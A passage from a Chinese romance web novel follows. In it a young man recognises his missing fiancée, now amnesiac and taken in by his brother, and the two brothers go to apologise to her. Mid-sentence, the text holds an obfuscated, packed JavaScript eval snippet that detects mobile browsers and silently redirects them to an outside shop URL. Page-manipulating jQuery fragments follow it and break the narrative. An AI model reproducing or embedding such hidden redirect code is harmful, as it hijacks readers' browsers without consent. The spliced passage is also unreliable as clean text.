眼前人红着眼圈的样子和记忆中落泪的她恍然重叠,林知邈险些分不清现实。
江倾然分明和自己的未婚妻长了同一张脸,可他的未婚妻早就失踪在大火里,是她吗?林知邈眉头紧皱,犹疑不定,下意识地靠近她,想要看得更仔细点。
对了,对了,她左手心上,有一条疤。他伸手抓住她的左手,握住她的手翻看,掌心赫然一道浅浅的痕迹。容貌或许有相似,可伤痕作不了假。他眼神向上移去,又看到她手腕上戴着的银手链,串着一颗青玉珠,上面刻了小蛇,合了她的属相。
一样的容貌,一样的手链。他确信,她就是自己一直在找的何清月。林知邈几乎要喜极而泣,她没有死在那场大火里,她竟然来了延陵。
“清月…”他轻声念着那个一直萦绕在他心头的名字,一个早就葬在大火里的名字,何清月。
江倾然看到他这番态度转变,骤然抽回手,警惕地后退,古怪地看着他,眼里满是惊疑不定。林知邈无措地站着,看着她防备的样子,心间陡然酸涩起来。“刚刚,是我唐突。”他声音颤抖,眼神是与刚刚截然不同的珍视。
“小公子,今天好像是我们第一次见面吧,我们很熟吗?”江倾然冷淡地看着眼前人,拒绝就这么原谅他,“你刚刚威胁我,现在又想闹哪一出?”
“不是的,刚刚…是误会,抱歉,是我太冲动了,”他艰难解释道,那张熟悉的脸上的不信任深深刺痛了他。“我是知邈,你还记得我吗?”他盯着她的眼睛,不死心地问出这句话。
她蹙着眉,没有回答,已无心思考林知邈态度变化的根源,只想离开这乱糟糟的局面。末了,她还是丢下句,“我不认识你,要不是林小将军是我的恩人,我更不想认识你。”说罢转身锁上医馆的门就走。
林知邈看着她离去的背影,怅然若失。她没有死,只是不记得自己了。
这世上,怎么会有如此荒唐的事情?她究竟是怎么来到延陵,又是怎么会和哥哥扯上关系的?离开医馆的路上,林知邈心情和脚步一样沉重,神思飘忽。
她本唤作何清月,原是明州安王部下何将军的遗孤,因父母双亡,被安王夫妇养在膝下,算是安王的养女。安王是林知邈的亲舅舅,因此何清月绕来绕去,也算是他的表妹。
今年春日,他去了明州的外祖家探亲,遇见了何清月,一见倾心。两人情投意合,没过多久就订下了婚约。因他多年未去,加之不舍得何清月,便在明州多留了些日子。三个月里他和她如胶似漆,形影不离,他许诺等他准备好家中婚礼事宜便来娶她。
可偏偏天不遂人愿,他回家后不久,海州突发叛乱,他匆匆赶往海州平叛,一去就是三个多月,再接到安王府书信的时候,却是何清月消失在大火里的消息。
他大海捞针似的找了两个多月,迟迟未有她的消息,心灰意冷之际,他决定先回延陵再做打算。却不曾想,她竟然早被哥哥救下,又成了郡丞义女。
可她失忆了,对自己一点印象都没有,他又在不知情的情况下对她态度那么恶劣,想来她现在应当讨厌极了自己。
“知邈,原来你在这,”林慎云的话打断了他的思绪,林知邈猛地抬头,有些心虚应道,“哥?你来了。”林慎云快步上前,笑着过来拍了拍他的肩,温声开口,“才回来几天,怎么不去陪陪父亲母亲,反而来了医馆?”
“刚刚有事,”林知邈见他拎着一包糕点,有些意外,“哥,你怎么还带着琼饴轩的马蹄糕?”林慎云不爱吃甜食,至少在林知邈去海州前是这样,他颇为意外。
“你说这个,”林慎云摇了摇自己手中的糕点。“这是我给倾然带的,她喜欢吃这个,刚刚从军营回来路过,就顺手带了一份。”
她的名字从哥哥嘴里冒出来,林知邈有种恍惚感。她的确爱吃甜的,可军营离琼饴轩却并不顺路,哥哥又是绕路去买了吧。他不动声色,幽幽地想,哥哥好像真的很喜欢她。
“知邈,我听说,你今天去找她了?”林慎云状似无意地开口,“你还和她吵架了是不是?”
林知邈自知是躲不过这个问题,索性应下了,“是。”原本按照他的设想,他会用强硬的手段赶走那个“来历不明的女子”,然后和哥哥认错,悉听哥哥处置。可自从发现那个人是她后,他开始懊悔自己的鲁莽。
“为什么?”林慎云叹了口气。“你不是气量狭小之人,为什么要赶她走?就因为你觉得她来历不明?”林知邈苦笑,“刚刚我的确是那么想的,我担心她对你不利。”
“我知道你是为了哥哥好,”林慎云话里尽是袒护之意,“但她没有骗你,也没有坏心思。”
“为什么你这么肯定,你就不怕她骗你?”林知邈对他全然信任的样子感到不解,更带着三分失控的心慌。
“她不会骗我,”林慎云失笑,“我是在东风河边遇到她的,那时候她昏迷,性命垂危,我把她带回了家。再后来,她虽然醒了,却失忆了。”
林知邈早听林慎云在信里提过他日夜照顾江倾然的事,只是从他嘴里说出来,林知邈吃醋又在意。“你们关系很好吗?”他几近失控地发问,死死掐住手心才勉强镇定。
“嗯,她……很依赖我,”提到她的时候,林慎云脸色都柔和了几分,声音更是不自觉地温柔,“所以你不要对她态度那么恶劣,让她以为我不是真心对她好。”
林知邈哑然,纵使哥哥没有直白地说出喜欢,但这副口吻任凭谁听了都能察觉到他对江倾然的心意。林知邈复而又心情低落,拨弄起腰间玉佩,猛地在意起那个问题,她喜欢哥哥吗?他能感受到哥哥对她的喜欢,也正因如此,他刚回了延陵几日就急不可耐想把她赶走。
可如今发现她是自己失踪的未婚妻之后,这件事的重点突然就变了。她绝不可能是间谍,又不爱与人交往,若是和哥哥真像传闻中所说十分亲密,那是不是意味着,她可能对哥哥有意…这样的可能性几乎让他崩溃。
当初在明州只顾着忙碌和她订婚的事,除了提亲时父亲母亲见过她的样子,家中其余人一概不知。如今想来,她流落延陵,偏偏哥哥认不出她是自己的未婚妻,真是阴差阳错。
明明四个月前的他们还是未婚夫妻,他们是彼此的唯一,可她现在甚至连自己是谁都不记得,还对自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17970424|214643||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
留下了不好的印象,当真是造化弄人。
“她身子弱,你今天这样凶了她,她回去会难受的,待会和我去道歉吧。”林慎云温声劝道,“好,”林知邈应下。两人纵身上马,朝江府去。
医馆离江府走路只有约莫半炷香的时间,两人骑马很快就到了,还顺路买了赔罪的果脯。林知邈心中暗道,哥哥对她的事果真很上心,她现在待的医馆闹中取静,离江府也近,安全又清静,一路上也多是店铺,这些安排全然是对心上人才会有的关心爱护。他思绪沉沉,不知不觉已到了江府门口。
“小将军?你怎么来了?”赵霏听到有人通传,急匆匆地跑出来,见着林慎云和林知邈有些惊讶,“小公子也来了?”
“江伯母好,”两人异口同声打了句招呼,林慎云微微颔首,“倾然在吗?我们找她有事。”
“她在,我们刚刚吃完饭,估计现在在房里休息呢,我让人去喊她来,”赵霏说着就要让丫鬟去喊人,不必,”林慎云制止住赵霏,道歉这种事还是亲自去比较有诚意,“我们想和她单独说几句话,不知道她是否愿意,烦请帮我问问她。”
“行,不过她怎么会不见你呢,我们干脆去她厢房外面等吧。”赵霏笑意吟吟地就要带路。
江倾然正躺着小憩,听到外面似乎有不少人在,脚步嘈杂,丫鬟金香来敲门,“女公子,林小将军和小公子来了,问您现在有没有空,他们似乎有事找你。”
江倾然叹了口气,猜到他们是因为刚刚和林知邈争吵的事而来,头疼地揉了揉太阳穴。她现在并不想看见林知邈,委屈和尴尬还弥留在心里,不知道他们现在找来又是在闹哪一出。
江倾然犹豫着想称病不出,赵霏见她磨磨蹭蹭不肯开门,迟迟不动身也不说话,担心林慎云等的生气,急于催促,提高声音开口道,“倾然,小将军来了,你也不见吗?”
赵霏收养江倾然本就是为了卖林慎云一个人情,她早看出了林慎云对江倾然有意。那时江倾然流落至此,林慎云为她的去处发愁,赵霏便主动提出要收养江倾然。
林慎云的父亲林烨是延陵太守,算得上当地的土皇帝,林慎云又实控着延陵和周边大部分地区。赵霏想攀附林家已久,总算是有了收养江倾然这个机会,对她来说,最重要的事就是好吃好喝伺候着江倾然,等待一两年后林慎云娶江倾然过门,到时候好攀上林慎云。因此,林慎云是万万不能得罪的。
“罢了罢了,她或许有事,我们下次再来就是,麻烦伯母把果脯和马蹄糕转交给她。”林慎云料想她在生气,也不愿强迫她,伸手把买的糕点递过去。
赵霏阻拦他,露出讨好的笑容,“哎,怎么能让你们白跑一趟呢,我去劝劝她。”林知邈怔怔地盯着她房间的门发呆,也不知道她在这里生活会不会快乐,自己还那样欺负她,想到这里,愈发地愧疚自责。林慎云急忙解释,“真的不必如此,让她好好休息…”
江倾然听到赵霏的声音,不愿让她为难,无奈叹了口气,起身理了理衣服开门,站在门口,打断了两人对话。“母亲,小将军,小公子,刚刚在房间里有事耽搁了,你们找我有什么事?”